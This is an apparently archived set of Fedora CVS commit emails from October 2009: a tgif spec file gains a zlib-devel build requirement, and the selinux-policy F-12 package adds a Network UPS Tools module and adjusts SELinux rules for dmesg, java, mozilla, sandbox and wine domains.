Modified Files:
	tgif.spec 
Log Message:
Fix BR


Index: tgif.spec
===================================================================
RCS file: /cvs/extras/rpms/tgif/devel/tgif.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- tgif.spec	7 Oct 2009 20:44:48 -0000	1.11
+++ tgif.spec	7 Oct 2009 20:52:06 -0000	1.12
@@ -17,6 +17,7 @@ BuildRequires:	imake
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext
 BuildRequires:	libXmu-devel
+BuildRequires:	zlib-devel
 Requires:	ghostscript
 Requires:	netpbm-progs
 Requires:	xorg-x11-fonts-75dpi



From dwalsh at fedoraproject.org  Wed Oct  7 20:56:22 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Wed,  7 Oct 2009 20:56:22 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 modules-minimum.conf, 1.38,
	1.39 modules-targeted.conf, 1.147, 1.148 policy-F12.patch, 1.101,
	1.102 selinux-policy.spec, 1.938, 1.939
Message-ID: <20091007205622.219B511C00E6@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3231

Modified Files:
	modules-minimum.conf modules-targeted.conf policy-F12.patch 
	selinux-policy.spec 
Log Message:
* Wed Oct 7 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-22
- Allow polickit to read meminfo



Index: modules-minimum.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-minimum.conf,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- modules-minimum.conf	2 Oct 2009 15:01:06 -0000	1.38
+++ modules-minimum.conf	7 Oct 2009 20:56:21 -0000	1.39
@@ -1022,6 +1022,13 @@ nscd = base
 ntp = module
 
 # Layer: services
+# Module: nut
+# 
+# nut - Network UPS Tools
+#
+nut = module
+
+# Layer: services
 # Module: nx
 #
 # NX Remote Desktop


Index: modules-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-targeted.conf,v
retrieving revision 1.147
retrieving revision 1.148
diff -u -p -r1.147 -r1.148
--- modules-targeted.conf	2 Oct 2009 15:01:06 -0000	1.147
+++ modules-targeted.conf	7 Oct 2009 20:56:21 -0000	1.148
@@ -1022,6 +1022,13 @@ nscd = base
 ntp = module
 
 # Layer: services
+# Module: nut
+# 
+# nut - Network UPS Tools
+#
+nut = module
+
+# Layer: services
 # Module: nx
 #
 # NX Remote Desktop

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +-
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   67 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   31 
 policy/modules/admin/vbetool.te           |   16 
 policy/modules/admin/vpn.te               |    1 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   57 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   33 
 policy/modules/apps/execmem.if            |   70 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   12 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 ++++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  183 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    8 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  401 ++++++++
 policy/modules/roles/unprivuser.te        |  131 --
 policy/modules/roles/xguest.te            |   21 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   21 
 policy/modules/services/abrt.te           |   21 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  438 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   18 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   35 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    7 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   86 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   58 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   21 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   80 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  183 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   31 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  205 +++-
 policy/modules/system/authlogin.te        |    9 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  277 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  159 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.if        |   38 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  226 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   76 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1418 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 346 files changed, 16403 insertions(+), 2618 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- policy-F12.patch	5 Oct 2009 21:16:35 -0000	1.101
+++ policy-F12.patch	7 Oct 2009 20:56:21 -0000	1.102
@@ -139,6 +139,17 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
  	apache_exec_modules(certwatch_t)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/consoletype.te serefpolicy-3.6.32/policy/modules/admin/consoletype.te
+--- nsaserefpolicy/policy/modules/admin/consoletype.te	2009-08-14 16:14:31.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/consoletype.te	2009-10-07 14:44:15.000000000 -0400
+@@ -84,6 +84,7 @@
+ optional_policy(`
+ 	hal_dontaudit_use_fds(consoletype_t)
+ 	hal_dontaudit_rw_pipes(consoletype_t)
++	hal_dontaudit_rw_dgram_sockets(consoletype_t)
+ ')
+ 
+ optional_policy(`
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/dmesg.fc serefpolicy-3.6.32/policy/modules/admin/dmesg.fc
 --- nsaserefpolicy/policy/modules/admin/dmesg.fc	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/admin/dmesg.fc	2009-09-30 16:12:48.000000000 -0400
@@ -149,7 +160,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/sbin/mcelog	--		gen_context(system_u:object_r:dmesg_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/dmesg.te serefpolicy-3.6.32/policy/modules/admin/dmesg.te
 --- nsaserefpolicy/policy/modules/admin/dmesg.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/dmesg.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/dmesg.te	2009-10-06 09:52:38.000000000 -0400
 @@ -9,6 +9,7 @@
  type dmesg_t;
  type dmesg_exec_t;
@@ -184,6 +195,13 @@ diff -b -B --ignore-all-space --exclude-
  # for when /usr is not mounted:
  files_dontaudit_search_isid_type_dirs(dmesg_t)
  
+@@ -57,3 +62,6 @@
+ optional_policy(`
+ 	udev_read_db(dmesg_t)
+ ')
++
++#mcelog needs
++dev_read_raw_memory(dmesg_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/firstboot.te serefpolicy-3.6.32/policy/modules/admin/firstboot.te
 --- nsaserefpolicy/policy/modules/admin/firstboot.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/admin/firstboot.te	2009-09-30 16:12:48.000000000 -0400
@@ -456,7 +474,6 @@ diff -b -B --ignore-all-space --exclude-
 +	ntop_manage_var_lib($1)
 +
 +')
-Binary files nsaserefpolicy/policy/modules/admin/ntop.pp and serefpolicy-3.6.32/policy/modules/admin/ntop.pp differ
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/ntop.te serefpolicy-3.6.32/policy/modules/admin/ntop.te
 --- nsaserefpolicy/policy/modules/admin/ntop.te	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/admin/ntop.te	2009-10-01 08:24:35.000000000 -0400
@@ -1792,8 +1809,8 @@ diff -b -B --ignore-all-space --exclude-
  	dbus_system_domain(cpufreqselector_t, cpufreqselector_exec_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.fc serefpolicy-3.6.32/policy/modules/apps/execmem.fc
 --- nsaserefpolicy/policy/modules/apps/execmem.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/execmem.fc	2009-10-05 09:23:28.000000000 -0400
-@@ -0,0 +1,29 @@
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.fc	2009-10-06 16:12:55.000000000 -0400
+@@ -0,0 +1,33 @@
 +/usr/bin/darcs 		--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/bin/haddock.*  	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/bin/hasktags   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
@@ -1823,6 +1840,10 @@ diff -b -B --ignore-all-space --exclude-
 +
 +/usr/local/RealPlayer/realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
++/usr/lib/wingide-[^/]+/bin/PyCore/python -- gen_context(system_u:object_r:execmem_exec_t,s0)
++
++/usr/bin/mutter -- gen_context(system_u:object_r:execmem_exec_t,s0)
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.if serefpolicy-3.6.32/policy/modules/apps/execmem.if
 --- nsaserefpolicy/policy/modules/apps/execmem.if	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-02 10:33:33.000000000 -0400
@@ -2464,7 +2485,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib/opera(/.*)?/works	--	gen_context(system_u:object_r:java_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/java.if serefpolicy-3.6.32/policy/modules/apps/java.if
 --- nsaserefpolicy/policy/modules/apps/java.if	2009-08-18 11:41:14.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/java.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/java.if	2009-10-07 16:35:17.000000000 -0400
 @@ -30,6 +30,7 @@
  
  	allow java_t $2:unix_stream_socket connectto;
@@ -2473,7 +2494,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -71,24 +72,128 @@
+@@ -71,24 +72,129 @@
  
  ########################################
  ## <summary>
@@ -2593,6 +2614,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 +	allow $1_java_t self:process { ptrace signal getsched execmem execstack };
 +	allow $3 $1_java_t:process { getattr ptrace noatsecure signal_perms };
++	dontaudit $1_java_t $3:tcp_socket { read write };
 +
 +	domtrans_pattern($3, java_exec_t, $1_java_t)
 +	dev_dontaudit_append_rand($1_java_t)
@@ -3047,7 +3069,7 @@ diff -b -B --ignore-all-space --exclude-
  ## <param name="domain">
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/mozilla.te serefpolicy-3.6.32/policy/modules/apps/mozilla.te
 --- nsaserefpolicy/policy/modules/apps/mozilla.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/mozilla.te	2009-10-02 11:00:19.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/mozilla.te	2009-10-07 13:48:30.000000000 -0400
 @@ -59,6 +59,7 @@
  manage_files_pattern(mozilla_t, mozilla_home_t, mozilla_home_t)
  manage_lnk_files_pattern(mozilla_t, mozilla_home_t, mozilla_home_t)
@@ -3073,7 +3095,7 @@ diff -b -B --ignore-all-space --exclude-
  files_read_etc_runtime_files(mozilla_t)
  files_read_usr_files(mozilla_t)
  files_read_etc_files(mozilla_t)
-@@ -129,6 +133,7 @@
+@@ -129,21 +133,18 @@
  fs_rw_tmpfs_files(mozilla_t)
  
  term_dontaudit_getattr_pty_dirs(mozilla_t)
@@ -3081,7 +3103,10 @@ diff -b -B --ignore-all-space --exclude-
  
  logging_send_syslog_msg(mozilla_t)
  
-@@ -138,12 +143,7 @@
++miscfiles_dontaudit_setattr_fonts(mozilla_t)
+ miscfiles_read_fonts(mozilla_t)
+ miscfiles_read_localization(mozilla_t)
+ 
  # Browse the web, connect to printer
  sysnet_dns_name_resolve(mozilla_t)
  
@@ -3095,7 +3120,7 @@ diff -b -B --ignore-all-space --exclude-
  
  xserver_user_x_domain_template(mozilla, mozilla_t, mozilla_tmpfs_t)
  xserver_dontaudit_read_xdm_tmp_files(mozilla_t)
-@@ -231,11 +231,15 @@
+@@ -231,11 +232,15 @@
  optional_policy(`
  	dbus_system_bus_client(mozilla_t)
  	dbus_session_bus_client(mozilla_t)
@@ -3111,7 +3136,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -256,5 +260,10 @@
+@@ -256,5 +261,10 @@
  ')
  
  optional_policy(`
@@ -4331,8 +4356,8 @@ diff -b -B --ignore-all-space --exclude-
 +# No types are sandbox_exec_t
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/sandbox.if serefpolicy-3.6.32/policy/modules/apps/sandbox.if
 --- nsaserefpolicy/policy/modules/apps/sandbox.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/sandbox.if	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,182 @@
++++ serefpolicy-3.6.32/policy/modules/apps/sandbox.if	2009-10-06 16:58:56.000000000 -0400
+@@ -0,0 +1,183 @@
 +
 +## <summary>policy for sandbox</summary>
 +
@@ -4384,7 +4409,8 @@ diff -b -B --ignore-all-space --exclude-
 +	manage_sock_files_pattern($1, sandbox_file_type, sandbox_file_type);
 +	manage_fifo_files_pattern($1, sandbox_file_type, sandbox_file_type);
 +	manage_lnk_files_pattern($1, sandbox_file_type, sandbox_file_type);
-+	allow $1 sandbox_file_type:dir relabelto;
++	relabel_dirs_pattern($1, sandbox_file_type, sandbox_file_type)
++	relabel_files_pattern($1, sandbox_file_type, sandbox_file_type)
 +')
 +
 +########################################
@@ -4517,8 +4543,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/sandbox.te serefpolicy-3.6.32/policy/modules/apps/sandbox.te
 --- nsaserefpolicy/policy/modules/apps/sandbox.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/sandbox.te	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,329 @@
++++ serefpolicy-3.6.32/policy/modules/apps/sandbox.te	2009-10-06 17:01:45.000000000 -0400
+@@ -0,0 +1,330 @@
 +policy_module(sandbox,1.0.0)
 +dbus_stub()
 +attribute sandbox_domain;
@@ -4658,6 +4684,7 @@ diff -b -B --ignore-all-space --exclude-
 +files_search_home(sandbox_x_domain)
 +files_dontaudit_list_tmp(sandbox_x_domain)
 +
++kernel_read_network_state(sandbox_x_domain)
 +kernel_read_system_state(sandbox_x_domain)
 +
 +corecmd_exec_all_executables(sandbox_x_domain)
@@ -5045,8 +5072,8 @@ diff -b -B --ignore-all-space --exclude-
 -/opt/picasa/wine/bin/wine	--	gen_context(system_u:object_r:wine_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/wine.if serefpolicy-3.6.32/policy/modules/apps/wine.if
 --- nsaserefpolicy/policy/modules/apps/wine.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/wine.if	2009-09-30 16:12:48.000000000 -0400
-@@ -43,3 +43,62 @@
++++ serefpolicy-3.6.32/policy/modules/apps/wine.if	2009-10-07 16:38:13.000000000 -0400
+@@ -43,3 +43,118 @@
  	wine_domtrans($1)
  	role $2 types wine_t;
  ')
@@ -5109,9 +5136,65 @@ diff -b -B --ignore-all-space --exclude-
 +	relabel_files_pattern($2, wine_home_t, wine_home_t)
 +	relabel_lnk_files_pattern($2, wine_home_t, wine_home_t)
 +')
++
++#######################################
++## <summary>
++##	The role template for the wine module.
++## </summary>
++## <desc>
++##	<p>
++##	This template creates a derived domains which are used
++##	for wine applications.
++##	</p>
++## </desc>
++## <param name="role_prefix">
++##	<summary>
++##	The prefix of the user domain (e.g., user
++##	is the prefix for user_t).
++##	</summary>
++## </param>
++## <param name="user_role">
++##	<summary>
++##	The role associated with the user domain.
++##	</summary>
++## </param>
++## <param name="user_domain">
++##	<summary>
++##	The type of the user domain.
++##	</summary>
++## </param>
++#
++template(`wine_role_template',`
++	gen_require(`
